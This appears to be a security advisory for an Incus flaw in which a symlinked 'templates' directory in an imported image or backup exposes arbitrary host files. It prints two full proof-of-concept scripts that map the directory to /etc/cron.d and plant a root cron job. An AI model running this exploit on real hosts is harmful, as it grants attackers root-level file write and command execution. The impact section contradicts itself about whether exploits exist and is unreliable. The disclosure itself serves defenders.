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GHSA-vxp5-584q-c479
No affected components available
Summary
A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath, ...). The tar extraction path in shared/archive/archive.go excludes device nodes, but it does not reject a top-level templates symlink.
For instance backups, internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy uses argument -a (archive mode), but does not add --safe-links. This allows a top-level templates symlink.
In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.
PoC
Malicious container image
Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC templates symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink
incus config template ls afrw-image-templates-symlink
# read
#incus config template show afrw-image-templates-symlink $FILENAME
# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
#incus config template edit afrw-image-templates-symlink poc
Malicious instance backup
Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/backup"
cat<<__EOF__>"${tmpdir}/img/backup/index.yaml"
name: afrw-backup-templates-symlink
backend: dir
pool: default
type: container
optimized: false
__EOF__
mkdir "${tmpdir}/img/backup/container"
cat<<__EOF__>"${tmpdir}/img/backup/container/backup.yaml"
container:
name: afrw-backup-templates-symlink
architecture: x86_64
type: container
status: Stopped
status_code: 102
stateful: false
ephemeral: false
profiles:
- default
config:
volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
expanded_config:
volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
devices: {}
expanded_devices:
root:
path: /
pool: default
type: disk
created_at: "2024-01-01T00:00:00Z"
last_used_at: "2024-01-01T00:00:00Z"
volume:
name: afrw-backup-templates-symlink
type: container
content_type: filesystem
config: {}
pool:
name: default
driver: dir
config: {}
__EOF__
cat<<__EOF__>"${tmpdir}/img/backup/container/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: afrw-backup-templates-symlink
__EOF__
mkdir "${tmpdir}/img/backup/container/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates"
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar
incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink
incus config template ls afrw-backup-templates-symlink
# read
#incus config template show afrw-backup-templates-symlink $FILENAME
# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-32
#incus config template edit afrw-templates-symlink poc
Impact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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